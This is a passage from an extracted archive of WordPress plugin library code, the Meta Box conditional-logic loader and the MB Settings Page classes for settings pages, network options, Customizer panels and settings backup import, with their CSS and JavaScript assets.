					? $condition['relation'] : 'and';

		$condition_to_normalize = $condition;
		if ( isset( $condition['when'] ) && is_array( $condition['when'] ) )
			$condition_to_normalize = $condition['when'];
		
		$when = $this->get_normalized_criteria( $condition_to_normalize );

		return compact( 'when', 'relation' );
	}

	private function get_normalized_criteria( $condition )
	{
		$normalized = array();

		foreach ( $condition as $criteria )
		{
			if ( is_array( $criteria ) )
			{
				$normalized[] = $this->normalize_criteria( $criteria );
			}
			else 
			{
				$normalized[] = $this->normalize_criteria( $condition );
				break;
			}
		}

		return $normalized;
	}

	/**
	 * If criteria has different format than normally, reformat it
	 * 
	 * @param  array $criteria Criteria to be formatted
	 * @return array Criteria after formatted
	 */
	public function normalize_criteria( $criteria )
	{
		$criteria_length = count( (array)$criteria );
		
		if ( $criteria_length === 2 ) 
			$criteria = array($criteria[0], '=', $criteria[1]);

		// Convert slug to id if conditional logic defined using slug for terms
		if ( strrpos($criteria[0], 'slug:', -strlen($criteria[0])) !== false )
		{
			$criteria[0] = ltrim( $criteria[0], 'slug:' );

			$criteria[2] = $this->slug_to_id( $criteria[2] );
		}

		return $criteria;
	}

	/**
	 * Convert slug to id
	 * 
	 * @param  Array $slugs Array of slugs
	 * 
	 * @return Array Array of ids
	 */
	private function slug_to_id( $slugs )
	{
		global $wpdb;
		
		$slugs 		= (array) $slugs;
		$sql 		= "SELECT term_id FROM {$wpdb->terms} WHERE slug IN(".implode(', ', array_fill(0, count((array)$slugs), '%s')).")";
		$prepared 	= call_user_func_array(array($wpdb, 'prepare'), array_merge(array($sql), $slugs));

		return array_map('intval', $wpdb->get_col($prepared));
	}
}PK     0w\KۆR  R  )  dashboard/lib/conditional/conditional.phpnu [        <?php
//Prevent loading this file directly
defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'mb_conditional_logic_load' ) ) {
	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_conditional_logic_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_conditional_logic_load() {

		if ( ! defined( 'RWMB_VER' ) || class_exists( 'MB_Conditional_Logic' ) ) {
			return;
		}

		require dirname( __FILE__ ) . '/inc/class-conditional-logic.php';
		
		new MB_Conditional_Logic;
	}
}PK     0w\x6     2  dashboard/lib/mb-settings-page/src/BackupField.phpnu [        <?php
class RWMB_Backup_Field extends RWMB_Textarea_Field {
	public static function html( $meta, $field ) {
		$storage_class = get_class( $field['storage'] );
		$func          = false !== strpos( $storage_class, 'Network' ) ? 'get_site_option' : 'get_option';

		$field['field_name'] = "{$field['option_name']}_backup";

		$meta = $func( $field['option_name'] );
		$meta = $meta ? wp_json_encode( $meta ) : '';

		return parent::html( $meta, $field );
	}

	public static function save( $new, $old, $post_id, $field ) {}

	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'rows'       => 5,
			'desc'       => __( 'To export settings, copy the content of this field and save to a file. To import settings, paste the content of the backup file here.', 'mb-settings-page' ),
			'attributes' => [
				'onclick' => 'this.select()',
			],
		] );
		$field = parent::normalize( $field );

		return $field;
	}
}PK     0w\Z    6  dashboard/lib/mb-settings-page/src/Network/Storage.phpnu [        <?php
namespace MBSP\Network;

use MBSP\Storage as BaseStorage;

/**
 * Storage for multisite install.
 * Save all settings in a single option. $object_id is the option name.
 */
class Storage extends BaseStorage {
	protected function get_option( $name ) {
		return (array) get_site_option( $name, array() );
	}

	protected function update_option( $name, $value ) {
		return update_site_option( $name, $value );
	}
}PK     0w\/    6  dashboard/lib/mb-settings-page/src/Network/MetaBox.phpnu [        <?php
namespace MBSP\Network;

use MBSP\Factory;
use MBSP\MetaBox as BaseMetaBox;

class MetaBox extends BaseMetaBox {
	protected function setup( $args ) {
		$this->pages       = Factory::get( $args['settings_pages'], 'network' );
		$this->object_type = 'network_setting';
	}

	public function get_storage() {
		return (new Storage);
	}

	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof \WP_Screen ) ) {
			$screen = get_current_screen();
		}

		$page_hooks = wp_list_pluck( $this->pages, 'page_hook' );
		$page_hooks = array_map( function( $page_hook ) {
			return "$page_hook-network";
		}, $page_hooks );

		return in_array( $screen->id, $page_hooks, true );
	}
}
PK     0w\r\9|  |  ;  dashboard/lib/mb-settings-page/src/Network/SettingsPage.phpnu [        <?php
namespace MBSP\Network;

use MBSP\SettingsPage as BaseSettingsPage;

class SettingsPage extends BaseSettingsPage {
	protected $type = 'network';

	protected function register_hooks() {
		add_action( 'network_admin_menu', array( $this, 'register_admin_menu' ) );
	}

	public function add_admin_notice_hook() {
		add_action( 'network_admin_notices', 'settings_errors' );
	}
}
PK     0w\s^m  m  .  dashboard/lib/mb-settings-page/src/Storage.phpnu [        <?php
namespace MBSP;

/**
 * Save all settings in a single option. $object_id is the option name.
 */
class Storage {
	public function get( $object_id, $name, $args = array() ) {
		$single = is_array( $args ) ? ! empty( $args['single'] ) : (bool) $args;
		$option = $this->get_option( $object_id );

		return isset( $option[ $name ] ) ? $option[ $name ] : ( $single ? '' : array() );
	}

	public function add( $object_id, $meta_key, $meta_value, $unique = false ) {
		if ( $unique ) {
			return $this->update( $object_id, $meta_key, $meta_value );
		}

		$setting = (array) $this->get( $object_id, $meta_key, array(
			'std' => array(),
		) );

		$meta_value = wp_unslash( $meta_value );
		$setting[]  = $meta_value;

		return $this->update( $object_id, $meta_key, $setting );
	}

	public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) {
		$option              = $this->get_option( $object_id );
		$option[ $meta_key ] = wp_unslash( $meta_value );

		return $this->update_option( $object_id, $option );
	}

	public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
		$option = $this->get_option( $object_id );
		if ( ! isset( $option[ $meta_key ] ) ) {
			return true;
		}

		if ( $delete_all || ! $meta_value || $option[ $meta_key ] === $meta_value ) {
			unset( $option[ $meta_key ] );
			return $this->update_option( $object_id, $option );
		}

		if ( ! is_array( $option[ $meta_key ] ) ) {
			return true;
		}

		// For field with multiple values.
		foreach ( $option[ $meta_key ] as $key => $value ) {
			if ( $value === $meta_value ) {
				unset( $option[ $meta_key ][ $key ] );
			}
		}
		return $this->update_option( $object_id, $option );
	}

	protected function get_option( $name ) {
		return (array) get_option( $name, array() );
	}

	protected function update_option( $name, $value ) {
		return update_option( $name, $value );
	}
}PK     0w\m	  	  .  dashboard/lib/mb-settings-page/src/MetaBox.phpnu [        <?php
namespace MBSP;

class MetaBox extends \RW_Meta_Box {
	protected $pages = [];

	public function __construct( $args ) {
		$args['settings_pages'] = (array) $args['settings_pages'];
		$this->setup( $args );
		parent::__construct( $args );
	}

	protected function setup( $args ) {
		$this->pages       = Factory::get( $args['settings_pages'], 'normal' );
		$this->object_type = 'setting';
	}

	protected function object_hooks() {
		add_action( 'mb_settings_page_load', array( $this, 'load' ) );

		if ( $this->tab ) {
 			add_action( "rwmb_before_{$this->id}", array( $this, 'show_tab' ) );
 		}
	}

	public function load( $page_args ) {
		static $message_shown = false;

		if ( ! in_array( $page_args['id'], $this->settings_pages ) ) {
			return;
		}

		$object_id = $page_args['option_name'];
		$this->set_object_id( $object_id );

		// Add meta boxes.
		add_meta_box(
			$this->id,
			$this->title,
			array( $this, 'show' ),
			null, // Current page.
			$this->context,
			$this->priority
		);

		// Save options.
		if ( empty( $_POST['submit'] ) || $page_args['is_imported'] ) {
			return;
		}

		$this->save_post( $object_id );

		// Compatible with old hook.
		$data = get_option( $object_id, array() );
		$data = apply_filters( 'mb_settings_pages_data', $data, $object_id );
		update_option( $object_id, $data );

		// Prevent duplicate messages.
		if ( ! $message_shown ) {
			add_settings_error( '', 'saved', $page_args['message'], 'updated' );
			$message_shown = true;
		}
	}

	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof \WP_Screen ) ) {
			$screen = get_current_screen();
		}

		return in_array( $screen->id, wp_list_pluck( $this->pages, 'page_hook' ), true );
	}

	public function show_tab() {
		echo '<script type="text/html" class="rwmb-settings-tab" data-tab="', esc_attr( $this->tab ), '"></script>';
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->pages as $page ) {
			foreach ( $this->meta_box['fields'] as &$field ) {
				$registry->add( $field, $page->option_name, $this->object_type );

				if ( isset( $field['type'] ) && 'backup' === $field['type'] ) {
					$field['option_name'] = $page->option_name;
				}
			}
		}
	}
}
PK     0w\

k    9  dashboard/lib/mb-settings-page/src/Customizer/Manager.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Factory;

class Manager {
	public function __construct() {
		// Priority 30 ensures it fires after meta boxes are registered.
		add_action( 'init', [$this, 'init'], 30 );
	}

	public function init() {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();

		// Meta box that has a settings page.
		$settings_sections = array_filter( $meta_boxes, function( $meta_box ) {
			return $meta_box->settings_pages && Factory::get( $meta_box->settings_pages, 'customizer' );
		} );
		array_walk( $settings_sections, [$this, 'register_settings_section'] );

		// Meta box that doesn't have a settings page.
		$normal_sections = array_filter( $meta_boxes, function( $meta_box ) {
			return isset( $meta_box->meta_box['panel'] );
		} );
		array_walk( $normal_sections, [$this, 'register_normal_section'] );
	}

	private function register_settings_section( $meta_box ) {
		$panels   = Factory::get( $meta_box->settings_pages, 'customizer' );
		$meta_box = new SettingsSection( $meta_box->meta_box );
		$meta_box->register_fields();
		foreach ( $panels as $panel ) {
			$meta_box->object_id = $panel->option_name;
			new Setting( $meta_box );
		}
	}

	private function register_normal_section( $meta_box ) {
		new Setting( $meta_box );
	}
}
PK     0w\5.
  .
  9  dashboard/lib/mb-settings-page/src/Customizer/Setting.phpnu [        <?php
namespace MBSP\Customizer;

class Setting {
	private $meta_box;
	private $id;

	public function __construct( $meta_box ) {
		$this->meta_box = $meta_box;
		$this->id       = $meta_box->id;

		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_setting( $this->id, array(
			'type' => 'meta_box', // Custom setting type to prevent default WordPress saving process.
		) );
		$wp_customize->add_control( new Control( $wp_customize, $this->id, array(
			'section'  => $this->id,
			'meta_box' => $this->meta_box,
		) ) );

		// Save the setting.
		add_action( 'customize_update_meta_box', [ $this, 'save' ], 10, 2 );

		// Filter the option for previewing.
		add_action( "customize_preview_{$this->id}", [ $this, 'preview' ] );

		if ( ! empty( $_GET['customize_changeset_uuid'] ) ) {
			$this->filter_update_from_customize_changeset();
		}
	}

	public function save( $value, $setting ) {
		if ( $setting->id != $this->id ) {
			return;
		}

		$value = json_decode( $value, true );

		// Populate $_POST.
		rwmb_request()->set_post_data( $value );

		$this->meta_box->save_post( $this->meta_box->object_id );
	}

	public function preview() {
		add_filter( "option_{$this->meta_box->object_id}", [ $this, 'preview_filter' ] );
		add_filter( "default_option_{$this->meta_box->object_id}", [ $this, 'preview_filter' ] );
	}

	public function preview_filter( $original ) {
		if ( ! is_customize_preview() ) {
			return $original;
		}

		$customized = rwmb_request()->post( 'customized', '' );
		$customized = wp_unslash( $customized );
		$customized = json_decode( $customized, true );

		if ( empty( $customized[ $this->id ] ) ) {
			return $original;
		}

		$data     = json_decode( $customized[ $this->id ], true );
		$original = empty( $original ) ? [] : $original;

		return array_merge( $original, $data );
	}

	public function filter_update_from_customize_changeset() {
		add_filter( "option_{$this->meta_box->object_id}", [ $this, 'update_from_customize_changeset' ] );
		add_filter( "default_option_{$this->meta_box->object_id}", [ $this, 'update_from_customize_changeset' ] );
	}

	public function update_from_customize_changeset( $original ) {
		if ( empty( $GLOBALS['wp_customize'] ) ) {
			return $original;
		}

		$customized = $GLOBALS['wp_customize']->changeset_data();
		if ( empty( $customized[ $this->id ] ) ) {
			return $original;
		}

		$data     = json_decode( $customized[ $this->id ]['value'], true );
		$original = empty( $original ) ? [] : $original;

		return array_merge( $original, $data );
	}
}
PK     0w\r5    A  dashboard/lib/mb-settings-page/src/Customizer/SettingsSection.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Storage;
use MBSP\Factory;

class SettingsSection extends \RW_Meta_Box {
	private $panels = [];

	public function __construct( $args ) {
		$args['settings_pages'] = (array) $args['settings_pages'];
		$this->panels           = Factory::get( $args['settings_pages'], 'customizer' );
		$this->object_type      = 'setting';

		parent::__construct( $args );
	}

	protected function object_hooks() {
		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		foreach ( $this->panels as $panel ) {
			$wp_customize->add_section( $this->id, array(
				'title'          => $this->title,
				'panel'          => $panel->id,
				'capability'     => $panel->capability,
				'priority'       => $this->priority,
				'theme_supports' => $this->theme_supports,
			) );
		}
	}

	public function is_edit_screen( $screen = null ) {
		return is_customize_preview();
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->panels as $panel ) {
			foreach ( $this->fields as $field ) {
				$registry->add( $field, $panel->option_name, $this->object_type );
			}
		}
	}
}
PK     0w\7H    7  dashboard/lib/mb-settings-page/src/Customizer/Panel.phpnu [        <?php
namespace MBSP\Customizer;

class Panel {
	private $args;

	public function __construct( $args = array() ) {
		$this->args = $args;

		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_panel( $this->id, array(
			'title'    => $this->menu_title,
			'priority' => $this->priority,
		) );
	}

	public function __get( $name ) {
		return isset( $this->args[ $name ] ) ? $this->args[ $name ] : null;
	}
}
PK     0w\O7g    9  dashboard/lib/mb-settings-page/src/Customizer/Control.phpnu [        <?php
namespace MBSP\Customizer;

class Control extends \WP_Customize_Control {
	public $type = 'meta_box';
	public $meta_box;

	public function render_content() {
		$this->meta_box->show();
		?>
		<input type="hidden" <?php $this->link(); ?>>
		<?php
	}

	public function enqueue() {
		$this->meta_box->enqueue();

		wp_enqueue_style( 'mbsp-customizer', MBSP_URL . 'assets/customizer.css' );

		wp_register_script( 'mb-jquery-serialize-object', MBSP_URL . 'assets/jquery.serialize-object.js', ['jquery'], '2.5.0', true );
		wp_enqueue_script( 'mbsp-customizer', MBSP_URL . 'assets/customizer.js', ['customize-controls', 'mb-jquery-serialize-object', 'rwmb', 'underscore'], '', true );
	}
}PK     0w\gP$_5  5  ?  dashboard/lib/mb-settings-page/src/Customizer/NormalSection.phpnu [        <?php
namespace MBSP\Customizer;

use MBSP\Storage;

class NormalSection extends \RW_Meta_Box {
	public function __construct( $args ) {
		parent::__construct( $args );
		$this->object_type = 'setting';

		$this->object_id = isset( $args['option_name'] ) ? $args['option_name'] : 'theme_mods_' . get_stylesheet();
	}

	protected function object_hooks() {
		add_action( 'customize_register', array( $this, 'register' ) );
	}

	public function register( $wp_customize ) {
		$wp_customize->add_section( $this->id, array(
			'title'          => $this->title,
			'panel'          => $this->panel,
			'capability'     => $this->capability,
			'priority'       => $this->priority,
			'theme_supports' => $this->theme_supports,
		) );
	}

	public function is_edit_screen( $screen = null ) {
		return is_customize_preview();
	}

	public function get_storage() {
		return (new Storage);
	}

	public function register_fields() {
		$registry = rwmb_get_registry( 'field' );
		foreach ( $this->fields as $field ) {
			$registry->add( $field, $this->object_id, $this->object_type );
		}
	}
}
PK     0w\W$  $  3  dashboard/lib/mb-settings-page/src/SettingsPage.phpnu [        <?php
namespace MBSP;

class SettingsPage {
	private $args;
	public $page_hook;
	protected $type;

	public function __construct( $args = [] ) {
		$this->args = $args;
		$this->register_hooks();
	}

	protected function register_hooks() {
		add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
	}

	public function register_admin_menu() {
		// Add top level menu.
		if ( ! $this->parent ) {
			$this->page_hook = add_menu_page(
				$this->page_title,
				$this->menu_title,
				$this->capability,
				$this->id,
				array( $this, 'show' ),
				$this->icon_url,
				$this->position
			);

			// If this menu has a default sub-menu.
			if ( $this->submenu_title ) {
				add_submenu_page(
					$this->id,
					$this->page_title,
					$this->submenu_title,
					$this->capability,
					$this->id,
					array( $this, 'show' )
				);
			}
		} // Add sub-menu.
		else {
			$this->page_hook = add_submenu_page(
				$this->parent,
				$this->page_title,
				$this->menu_title,
				$this->capability,
				$this->id,
				array( $this, 'show' )
			);
		}

		// Enqueue scripts and styles.
		add_action( "admin_print_styles-{$this->page_hook}", array( $this, 'enqueue' ) );

		// Load action.
		add_action( "load-{$this->page_hook}", array( $this, 'load' ) );
		add_action( "load-{$this->page_hook}", array( $this, 'add_help_tabs' ) );
		add_action( "load-{$this->page_hook}", array( $this, 'add_admin_notice_hook' ) );
	}

	public function show() {
		$class = trim( "wrap {$this->class}" );
		$class .= " rwmb-settings-{$this->style}";
		if ( $this->tabs ) {
			$class .= " rwmb-settings-tabs-{$this->tab_style}";
		}
		?>
		<div class="<?= esc_attr( $class ) ?>">
			<h1><?= esc_html( get_admin_page_title() ) ?></h1>

			<div class="rwmb-settings-wrap">
				<?php $this->output_tab_nav() ?>

				<div class="rwmb-settings-form-wrap">
					<form method="post" action="" enctype="multipart/form-data" id="post" class="rwmb-settings-form">
						<div id="poststuff">
							<?php
							// Nonce for saving meta boxes status (collapsed/expanded) and order.
							wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
							wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
							?>
							<div id="post-body" class="metabox-holder columns-<?= intval( $this->columns ); ?>">
								<?php if ( $this->columns > 1 ) : ?>
									<div id="postbox-container-1" class="postbox-container">
										<?php do_meta_boxes( null, 'side', null ); ?>
									</div>
								<?php endif; ?>
								<div id="postbox-container-2" class="postbox-container">
									<?php do_meta_boxes( null, 'normal', null ); ?>
									<?php do_meta_boxes( null, 'advanced', null ); ?>
								</div>
							</div>
							<br class="clear">
							<p class="submit">
								<?php submit_button( esc_html( $this->submit_button ), 'primary', 'submit', false ); ?>
								<?php do_action( 'mb_settings_page_submit_buttons' ); ?>
							</p>
						</div>
					</form>
				</div>
			</div>
		</div>
		<?php
	}

	private function output_tab_nav() {
		if ( ! $this->tabs ) {
			return;
		}
		echo '<h2 class="nav-tab-wrapper">';
		foreach ( $this->tabs as $id => $tab ) {
			if ( is_string( $tab ) ) {
				$tab = ['label' => $tab];
			}
			$tab = wp_parse_args( $tab, [
				'icon'  => '',
				'label' => '',
			] );

			if ( filter_var( $tab['icon'], FILTER_VALIDATE_URL ) ) { // If icon is an URL.
				$icon = '<img src="' . esc_url( $tab['icon'] ) . '">';
			} else { // If icon is icon font.
				// If icon is dashicons, auto add class 'dashicons' for users.
				if ( false !== strpos( $tab['icon'], 'dashicons' ) ) {
					$tab['icon'] .= ' dashicons';
				}
				// Remove duplicate classes.
				$tab['icon'] = array_filter( array_map( 'trim', explode( ' ', $tab['icon'] ) ) );
				$tab['icon'] = implode( ' ', array_unique( $tab['icon'] ) );

				$icon = $tab['icon'] ? '<i class="' . esc_attr( $tab['icon'] ) . '"></i>' : '';
			}

			printf( '<a href="#tab-%s" class="nav-tab">%s%s</a>', esc_attr( $id ), $icon, esc_html( $tab['label'] ) );
		}
		echo '</h2>';
	}

	public function enqueue() {
		wp_enqueue_style( 'mb-settings-page', MBSP_URL . 'assets/settings.css', '', '1.3' );

		// For meta boxes.
		wp_enqueue_script( 'common' );
		wp_enqueue_script( 'wp-lists' );
		wp_enqueue_script( 'postbox' );

		// Enqueue settings page script and style.
		wp_enqueue_script( 'mb-settings-page', MBSP_URL . 'assets/settings.js', array( 'jquery' ), '1.1.2', true );
		wp_localize_script( 'mb-settings-page', 'MBSettingsPage', array(
			'pageHook' => $this->page_hook,
			'tabs'     => array_keys( $this->tabs ),
		) );
	}

	public function load() {
		$this->args['is_imported'] = $this->import();

		/**
		 * Custom hook runs when current page loads. Use this to add meta boxes and filters.
		 *
		 * @param array $page_args The page arguments
		 */
		do_action( 'mb_settings_page_load', $this->args );
	}

	public function add_admin_notice_hook() {
		if ( ! $this->parent || 'options-general.php' !== $this->parent ) {
			add_action( 'admin_notices', 'settings_errors' );
		}
	}

	public function add_help_tabs() {
		if ( ! $this->help_tabs || ! is_array( $this->help_tabs ) ) {
			return;
		}
		$screen = get_current_screen();
		foreach ( $this->help_tabs as $k => $help_tab ) {
			// Auto generate help tab ID if missed.
			if ( empty( $help_tab['id'] ) ) {
				$help_tab['id'] = "{$this->id}-help-tab-$k";
			}
			$screen->add_help_tab( $help_tab );
		}
	}

	protected function import() {
		$get_func    = 'network' === $this->type ? 'get_site_option' : 'get_option';
		$update_func = 'network' === $this->type ? 'update_site_option' : 'update_option';

		$option_name = $this->args['option_name'];

		$new = rwmb_request()->post( "{$option_name}_backup" );
		$new = wp_unslash( $new );
		$old = $get_func( $option_name );
		$old = json_encode( $old );
		if ( ! $new || $old === $new ) {
			return false;
		}
		$option = json_decode( $new, true );
		if ( json_last_error() === JSON_ERROR_NONE ) {
			$update_func( $option_name, $option );
		}
		return true;
	}

	public function __get( $name ) {
		return isset( $this->args[ $name ] ) ? $this->args[ $name ] : null;
	}
}
PK     0w\YX  X  -  dashboard/lib/mb-settings-page/src/Loader.phpnu [        <?php
namespace MBSP;

class Loader {
	public function __construct() {
		$this->register_settings_pages();

		add_filter( 'rwmb_meta_box_class_name', array( $this, 'meta_box_class_name' ), 10, 2 );

		add_filter( 'rwmb_meta_type', array( $this, 'filter_meta_type' ), 10, 3 );
	}

	private function register_settings_pages() {
		$settings_pages = apply_filters( 'mb_settings_pages', array() );

		if ( empty( $settings_pages ) || ! is_array( $settings_pages ) ) {
			return;
		}

		array_walk( $settings_pages, [Factory::class, 'make'] );
	}

	/**
	 * Filter meta box class name.
	 *
	 * @param  string $class_name Meta box class name.
	 * @param  array  $args       Meta box settings.
	 * @return string
	 */
	public function meta_box_class_name( $class_name, $args ) {
		if ( isset( $args['panel'] ) ) {
			return __NAMESPACE__ . '\Customizer\NormalSection';
		}

		if ( empty( $args['settings_pages'] ) ) {
			return $class_name;
		}
		if ( Factory::get( $args['settings_pages'], 'network' ) ) {
			return __NAMESPACE__ . '\Network\MetaBox';
		}

		return __NAMESPACE__ . '\MetaBox';
	}

	/**
	 * Filter meta type from object type and object id.
	 *
	 * @param string     $type        Meta type get from object type and object id.
	 *                                Assert 'setting' if object id is a string.
	 * @param string     $object_type Object type.
	 * @param string|int $object_id   Object id. Should be the option name.
	 *
	 * @return string
	 */
	public function filter_meta_type( $type, $object_type, $object_id ) {
		return in_array( $object_type, ['setting', 'network_setting'] ) ? $object_id : $type;
	}
}
PK     0w\΁i    .  dashboard/lib/mb-settings-page/src/Factory.phpnu [        <?php
namespace MBSP;

class Factory {
	private static $data = [
		'normal'     => [],
		'network'    => [],
		'customizer' => [],
	];

	public static function make( $args ) {
		$args = self::normalize( $args );

		if ( $args['network'] ) {
			self::$data['network'][ $args['id'] ] = new Network\SettingsPage( $args );
			return;
		}

		if ( $args['customizer'] ) {
			self::$data['customizer'][ $args['id'] ] = new Customizer\Panel( $args );
		}

		if ( ! $args['customizer_only'] ) {
			self::$data['normal'][ $args['id'] ] = new SettingsPage( $args );
		}
	}

	private static function normalize( $args ) {
		$args = wp_parse_args( $args, array(
			'id'              => '', // Page ID. Required. Will be used as slug in URL and option name (if missed).
			'option_name'     => '', // Option name. Optional. Takes 'id' if missed.
			'menu_title'      => '', // Menu title. Optional. Takes 'page_title' if missed.
			'page_title'      => '', // Page title. Optional. Takes 'menu_title' if missed.
			'capability'      => 'edit_theme_options', // Required capability to visit.
			'icon_url'        => '', // Icon URL. @see add_menu_page().
			'position'        => null, // Menu position. @see add_menu_page().
			'parent'          => '', // ID of parent page. Optional.
			'submenu_title'   => '', // Submenu title. Optional.
			'help_tabs'       => array(),
			'style'           => 'boxes',
			'columns'         => 2,
			'tabs'            => array(),
			'tab_style'       => 'default',
			'class'           => '',
			'submit_button'   => __( 'Save Settings', 'mb-settings-page' ),
			'message'         => __( 'Settings saved.', 'mb-settings-page' ),
			'network'         => false,
			'customizer'      => false,
			'customizer_only' => false,
		) );

		// Setup optional parameters.
		if ( ! $args['option_name'] ) {
			$args['option_name'] = $args['id'];
		}
		if ( ! $args['menu_title'] ) {
			$args['menu_title'] = $args['page_title'];
		}
		if ( ! $args['page_title'] ) {
			$args['page_title'] = $args['menu_title'];
		}

		return $args;
	}

	public static function get( $ids, $type = 'normal' ) {
		return array_intersect_key( self::$data[ $type ], array_flip( (array) $ids ) );
	}
}PK     0w\.    2  dashboard/lib/mb-settings-page/assets/settings.cssnu [        .nav-tab:focus,
.nav-tab:active {
  box-shadow: none;
}

.nav-tab i,
.nav-tab img {
  margin-right: 5px;
  margin-top: 4px;
}
.nav-tab i {
  width: 16px;
  height: 16px;
  font-size: 16px;
}
.nav-tab img {
  width: 12px;
  height: 12px;
  display: inline-block;
}

.rwmb-settings-no-boxes .postbox {
  border: 0;
  box-shadow: none;
  background: transparent;
}
.rwmb-settings-no-boxes .postbox .handlediv,
.rwmb-settings-no-boxes .postbox .hndle {
  display: none;
}
.rwmb-settings-no-boxes .postbox .inside {
  font-size: 14px;
}
.rwmb-settings-no-boxes .rwmb-field {
  padding: 20px 0;
  margin-bottom: 0;
}
.rwmb-settings-no-boxes .rwmb-clone {
  background-color: transparent;
}
.rwmb-settings-no-boxes .rwmb-tabs-left .rwmb-tab-panel {
  background-color: #fff;
}
.rwmb-settings-no-boxes .rwmb-group-wrapper > .rwmb-label + .rwmb-input .rwmb-field:first-of-type {
  padding-top: 0;
}
.rwmb-settings-no-boxes .rwmb-group-clone > .rwmb-field:first-of-type {
  padding-top: 0;
}
.rwmb-settings-no-boxes .rwmb-group-collapsible.rwmb-group-non-cloneable,
.rwmb-settings-no-boxes .rwmb-group-collapsible > .rwmb-input > .rwmb-group-clone {
  border-color: #ddd;
  padding: 12px;
}
.rwmb-settings-no-boxes .rwmb-group-collapsed.rwmb-group-non-cloneable,
.rwmb-settings-no-boxes .rwmb-group-collapsible > .rwmb-input > .rwmb-group-collapsed {
  padding: 0;
}
.rwmb-settings-no-boxes .rwmb-group-wrapper.rwmb-group-collapsible .rwmb-group-clone > .rwmb-field:first-of-type {
  padding-top: 20px;
}
.rwmb-settings-no-boxes .rwmb-row > .rwmb-field {
  padding-top: 0;
}

.rwmb-settings-tabs-left .rwmb-settings-wrap {
  display: flex;
  margin-top: 15px;
}
.rwmb-settings-tabs-left h2.nav-tab-wrapper {
  padding: 0;
  background: #fff;
  border: 1px solid #ccd0d4;
  min-width: 220px;
}
.rwmb-settings-tabs-left .nav-tab {
  display: block;
  padding: 8px 12px;
  float: none;
  margin: 0;
  color: #0073aa;
  font-size: 13px;
  font-weight: normal;
  background: #fff;
  border: none;
  border-bottom: 1px solid #ccd0d4;
  transition: none;
}
.rwmb-settings-tabs-left .nav-tab:hover {
  background: #f6f6f6;
}
.rwmb-settings-tabs-left .nav-tab-active {
  background: #f6f6f6;
  color: inherit;
  border-left: 4px solid #0073aa;
  padding-left: 8px;
}
.rwmb-settings-tabs-left .rwmb-settings-form-wrap {
  flex: 1;
  padding: 0 20px;
}
.rwmb-settings-tabs-left #poststuff {
  padding-top: 0;
}
.rwmb-settings-tabs-left .submit {
  margin-bottom: 0;
  padding-bottom: 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-settings-wrap {
  border: 1px solid #ddd;
  background: #fff;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes h2.nav-tab-wrapper {
  border-color: #ddd;
  border-width: 0 1px 0 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .nav-tab {
  border-bottom-color: #ddd;
  background-color: #f6f6f6;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .nav-tab-active {
  background-color: #fff;
  margin-right: -1px;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-settings-form-wrap {
  padding-top: 20px;
  padding-bottom: 20px;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes #poststuff .inside {
  margin: 0;
  padding: 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-meta-box > .rwmb-field:first-of-type {
  padding-top: 0;
}
PK     0w\Lh  h  1  dashboard/lib/mb-settings-page/assets/settings.jsnu [        ( function ( document, $, i18n ) {
	'use strict';

	var $tabs, $boxes;

	function toggleMetaBox() {
		$( '.if-js-closed' ).removeClass( 'if-js-closed' ).addClass( 'closed' );
		postboxes.add_postbox_toggles( i18n.pageHook );
	}

	function switchTab() {
		$boxes.each( function () {
			var $this = $( this );
			this.dataset.tab = '#tab-' + $this.find( '.rwmb-settings-tab' ).data( 'tab' );
		} );
		$( '.nav-tab-wrapper' ).on( 'click', 'a', ( e ) => showTab( e.target.getAttribute( 'href' ) ) );
	}

	function detectActiveTab() {
		$tabs.first().trigger( 'click' );
		showTab( location.hash );
	}

	function showValidateErrorFields() {
		var inputSelectors = 'input[class*="rwmb-error"], textarea[class*="rwmb-error"], select[class*="rwmb-error"], button[class*="rwmb-error"]';
		$( document ).on( 'after_validate', 'form', ( e ) => showTab( $( e.target ).find( inputSelectors ).closest( '.postbox' ).data( 'tab' ) ) );
	}

	function showTab( tab ) {
		if ( ! tab ) {
			return;
		}
		$tabs.removeClass( 'nav-tab-active' ).filter( '[href="' + tab + '"]' ).addClass( 'nav-tab-active' );
		$boxes.hide().filter( ( index, element ) => element.dataset.tab === tab ).show();
	}

	$( function() {
		$boxes = $( '.wrap .postbox' );
		$tabs = $( '.nav-tab' );

		toggleMetaBox();
		switchTab();
		detectActiveTab();
		showValidateErrorFields();
	} );
} )( document, jQuery, MBSettingsPage );
PK     0w\a    3  dashboard/lib/mb-settings-page/assets/customizer.jsnu [        ( function( $, api, rwmb ) {
	// Add nonce to list of inputs for validation.
	var inputSelectors = 'input[name*="nonce"], ' + rwmb.inputSelectors;

	$.extend( FormSerializer.patterns, {
